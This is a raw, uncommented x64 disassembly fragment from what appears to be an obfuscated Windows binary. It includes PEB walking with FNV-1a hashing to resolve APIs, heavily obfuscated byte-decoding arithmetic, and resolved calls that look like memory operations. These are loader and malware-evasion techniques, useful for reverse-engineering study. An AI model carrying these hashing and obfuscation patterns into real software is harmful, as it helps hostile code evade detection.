lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14010b053
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010ae26
mov r11b, r9b
lea edx, [r11 - 0x32]
mov ecx, Ordinal_50
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14010b073
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14010ae4d
lea edx, [r9 - 0x6e]
mov al, r8b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010b16f
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14010ad24
mov r11b, r9b
lea edx, [r11 + 0x1a]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14010b0f1
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010ae9e
mov r11b, r9b
lea edx, [r11 + 0xf]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x69
jmp 0x14010b0f1
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010aec2
lea ecx, [r9 - 0x2d]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x3b
jmp 0x14010b14b
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010aeeb
lea edx, [r9 + 0x35]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x73
add dil, dl
mov r11b, r9b
jmp 0x14010b003
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14010ad57
mov r11b, r9b
lea edx, [r11 + 0x5b]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7d
jmp 0x14010b073
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010af2c
lea edx, [r9 + 0x14]
mov ecx, Ordinal_60
jmp 0x14010ac3d
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010af46
mov r11b, r9b
lea edx, [r11 - 0x28]
mov ecx, ntohs
jmp 0x14010ae14
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14010af6a
lea ecx, [r9 - 0x64]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x14010b16f
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010af91
mov r11b, r9b
lea edx, [r11 - 2]
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010b003
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14010afb8
lea edx, [r9 + 0x60]
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010b14b
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14010ad8d
lea ecx, [r9 - 0x3e]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4e
jmp 0x14010b12a
mov r11b, r9b
lea edx, [r11 - 0x18]
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x90]
sub dil, al
sub dil, 0x58
add dil, dl
add dil, r8b
add r11b, 0x19
mov al, r8b
and al, r11b
add al, al
sub r8b, al
add r8b, 0x51
add r8b, dil
add r8b, r11b
mov byte [rbp + r9 + 0x90], r8b
jmp 0x14010b16f
mov r11b, r9b
lea ecx, [r11 + 0x4a]
mov al, r8b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 6]
jmp 0x14010b076
lea edx, [r9 + 0x15]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x6d
add dil, dl
jmp 0x14010b1a0
mov r11b, r9b
lea edx, [r11 - 0x4d]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x1b
add dil, dl
add r11b, 0x7b
mov al, r8b
and al, r11b
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x5d
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x90], al
inc r10
add rax, r10
sub r9, rax
jmp 0x14010b1a0
lea ecx, [r9 + 0x51]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x37
jmp 0x14010b172
lea ecx, [r9 + 0x2b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2d
jmp 0x14010b14b
mov r11b, r9b
lea edx, [r11 + 0x67]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x2f
add dil, dl
sub r11b, 0x49
mov al, r8b
and al, r11b
add al, al
sub r8b, al
sub r8b, 1
add r8b, r11b
mov byte [rbp + r9 + 0x90], r8b
jmp 0x14010b12a
lea ecx, [r9 + 0x41]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x39
mov r8d, 1
add r10, r8
jmp 0x14010b151
lea ecx, [r9 - 0x21]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x19
mov r8d, 1
sub r9, r8
jmp 0x14010b201
lea ecx, [r9 + 0x1b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x43
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010b1fb
movabs rcx, 0x9e5458755e4aef5
add rcx, r9
and dl, cl
add dl, dl
mov dil, r8b
sub dil, dl
add dil, 0x4d
add dil, cl
mov dl, r9b
sub dl, sil
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x90], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14010b1ec
movabs rax, 0x9f89901e00560293
add rax, r9
and dl, al
add dl, dl
sub r8b, dl
lea edi, [rax + r8]
sub dil, 5
movzx eax, byte [rbp + r9 + 0x90]
add rax, r10
add r9, rax
mov r8d, 1
add r9, r8
jmp 0x14010a9fc
add r9b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x7b
jmp 0x14010a9e9
lea rdx, [rbp + 0x16de97c]
jmp 0x14010b23e
lea rdx, [rbp + 0x753fad]
jmp 0x14010b23e
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x68]
call fcn.140051148
mov rcx, rax
call fcn.140146738
mov rdx, qword [0x14017c650]
test rdx, rdx
jne 0x14010b3b1
mov esi, r12d
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010b2c1
psrldq xmm0, 8
movq rdx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x14010b2b3
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x14010b2a2
cmp r9d, esi
jne 0x14010b3a2
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14010b3a2
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14010b3a2
mov edi, dword [r11 + 0x20]
mov r15d, 1
dec ebx
lea r8, [rdi + rbx*4]
mov r9d, dword [r8 + r10]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x14010b31c
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x14010b30f
cmp r8d, r14d
je 0x14010b331
test ebx, ebx
jne 0x14010b2fa
jmp 0x14010b3a2
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x14010b3aa
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14010b3aa
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov rcx, r15
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010b388
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010b365
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010b37b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14010b276
mov qword [0x14017c650], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x14017c6f0]
test rbx, rbx
jne 0x14010b522
mov esi, r12d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010b433
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010b425
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010b414
cmp r8d, esi
jne 0x14010b503
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010b503
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010b503
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010b487
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010b47c
cmp edx, r14d
je 0x14010b49d
test r11d, r11d
jne 0x14010b467
jmp 0x14010b503
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14010b51b
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x14010b51b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x14010b4f7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x14010b4d4
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x14010b4ea
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010b518
cmp qword [rax + 0x30], r12
jne 0x14010b3e8
mov rbx, r12
mov qword [0x14017c6f0], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14017c6e8]
test rdx, rdx
jne 0x14010b699
mov esi, r12d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010b5aa
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010b59c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010b58b
cmp r8d, esi
jne 0x14010b67a
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010b67a
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010b67a
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010b5fe
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010b5f3
cmp edx, r14d
je 0x14010b614
test r11d, r11d
jne 0x14010b5de
jmp 0x14010b67a
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010b692
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14010b692
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010b66e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010b64b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010b661
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010b68f
cmp qword [rax + 0x30], r12
jne 0x14010b55f
mov rdx, r12
mov qword [0x14017c6e8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6e0]
test rdx, rdx
jne 0x14010b807
mov esi, r12d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010b718
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010b70a
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010b6f9
cmp r8d, esi
jne 0x14010b7e8
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010b7e8
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010b7e8
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010b76c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010b761
cmp edx, r14d
je 0x14010b782
test r11d, r11d
jne 0x14010b74c
jmp 0x14010b7e8
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010b800
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14010b800
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010b7dc
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010b7b9
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010b7cf
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010b7fd
cmp qword [rax + 0x30], r12
jne 0x14010b6cd
mov rdx, r12
mov qword [0x14017c6e0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6d8]
test rdx, rdx
jne 0x14010b975
mov esi, r12d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010b886
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010b878
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010b867
cmp r8d, esi
jne 0x14010b956
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010b956
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010b956
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010b8da
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010b8cf
cmp edx, r14d
je 0x14010b8f0
test r11d, r11d
jne 0x14010b8ba
jmp 0x14010b956
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010b96e
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14010b96e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010b94a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010b927
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010b93d
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010b96b
cmp qword [rax + 0x30], r12
jne 0x14010b83b
mov rdx, r12
mov qword [0x14017c6d8], rdx
xor ecx, ecx
call rdx
cmp qword [0x14017c6d0], r12
jne 0x14010bae2
mov esi, r12d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010b9f1
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010b9e3
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010b9d2
cmp r8d, esi
jne 0x14010bac3
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14010bac3
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14010bac3
mov ebx, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14010ba45
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010ba3a
cmp edx, r14d
je 0x14010ba5b
test r9d, r9d
jne 0x14010ba25
jmp 0x14010bac3
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14010badb
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14010badb
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x14010bab6
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x14010ba92
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x14010baa9
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010bad8
cmp qword [rax + 0x30], r12
jne 0x14010b9a6
mov r9, r12
mov qword [0x14017c6d0], r9
mov r8, qword [0x14017c700]
test r8, r8
jne 0x14010bb5a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r9d, 0x811c9dc5
cmp rcx, rdx
je 0x14010bb3f
movsx eax, byte [rcx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010bb20
cmp r9d, 0x610c0de3
je 0x14010bbb0
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x14010bb50
cmp qword [rax + 0x30], r12
jne 0x14010bb05
mov r8, r12
mov qword [0x14017c700], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r12d
mov r11d, dword [r10 + r8 + 0x20]
mov ebx, 1
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rbx
test al, al
je 0x14010bbab
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rbx
test al, al
jne 0x14010bb8f
cmp ecx, 0xe463da3c
je 0x14010bbb6
add r9d, ebx
jmp 0x14010bb73
mov r8, qword [r8 + 0x30]
jmp 0x14010bb53
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14017c778]
xor ebx, ebx
test r10, r10
jne 0x14010bd58
mov esi, ebx
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010bc56
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010bc48
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010bc37
cmp r8d, esi
jne 0x14010bd39
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r9d, eax
add r9, r11
shr rax, 0x20
cmp r9, r11
je 0x14010bd39
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x14010bd39
mov ebx, dword [r9 + 0x20]
dec r10d
lea rdx, [r11 + r10*4]
mov r8d, dword [rdx + rbx]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x14010bcaa
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010bc9f
cmp edx, r14d
je 0x14010bcc2
test r10d, r10d
jne 0x14010bc8a
xor ebx, ebx
jmp 0x14010bd39
mov r8d, dword [r9 + 0x1c]
add r8, r11
mov edx, dword [r9 + 0x24]
add rdx, r11
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r11
cmp r10, r9
jbe 0x14010bdcb
lea rcx, [r9 + rax]
cmp r10, rcx
jae 0x14010bdcb
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14010bd18
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14010bd01
add r10, rcx
xor ebx, ebx
jmp 0x14010bd2f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14010bd1f
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010bd4e
cmp qword [rax + 0x30], rbx
jne 0x14010bc0b
mov r10, rbx
mov qword [0x14017c778], r10
lea r9, [rbp + 0x57c]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x14017c6f8]
test r8, r8
jne 0x14010bee8
mov esi, ebx
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010bdee
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010bde0
xor ebx, ebx
jmp 0x14010bd51
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010bdcf
cmp r8d, esi
jne 0x14010bec9
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x14010bec9
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x14010bec9
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14010be42
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010be37
cmp edx, r14d
je 0x14010be5a
test r11d, r11d
jne 0x14010be22
xor ebx, ebx
jmp 0x14010bec9
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r10
cmp r8, r9
jbe 0x14010bee1
lea rcx, [r9 + rax]
cmp r8, rcx
jae 0x14010bee1
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14010bea8
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x14010be91
add r8, rcx
xor ebx, ebx
jmp 0x14010bebf
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x14010beaf
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010bede
cmp qword [rax + 0x30], rbx
jne 0x14010bd9f
mov r8, rbx
mov qword [0x14017c6f8], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
xor r12d, r12d
mov byte [rbp + 0xb0], Ordinal_79
mov byte [rbp + 0xb1], 0xb5
mov byte [rbp + 0xb2], 0xb4
mov byte [rbp + 0xb3], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb4], xmm0
mov qword [rbp + 0xc4], rax
mov dword [rbp + 0xcc], eax
mov bl, byte [rsp + 0x50]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r11, qword [rax]
mov r9, r12
cmp r9, 0x20
jae 0x14010c8dc
movzx r8d, byte [rbp + r9 + 0xb0]
mov rdx, r8
cmp rdi, r9
ja 0x14010c8d4
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x14010bf9d
movabs rcx, 0x37d6c032caef3249
add rcx, r9
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
mov esi, 1
add bl, sil
jmp 0x14010bfcf
je 0x14010c864
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14010c83a
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14010c820
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14010c7dd
mov esi, 1
cmp r11, r9
ja 0x14010c8cc
lea rax, [r11 + 0x28]
cmp rdi, rax
jae 0x14010bff7
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x15
jmp 0x14010c038
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14010c7c5
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14010c7ae
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14010c794
lea rax, [r11 + 7]
cmp rdi, rax
je 0x14010c720
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14010c706
lea rax, [r11 + rdi]
cmp rax, r9
jbe 0x14010c4df
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x14010c4ce
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14010c4b1
lea rax, [r11 + 0x28]
cmp rdi, rax
je 0x14010c494
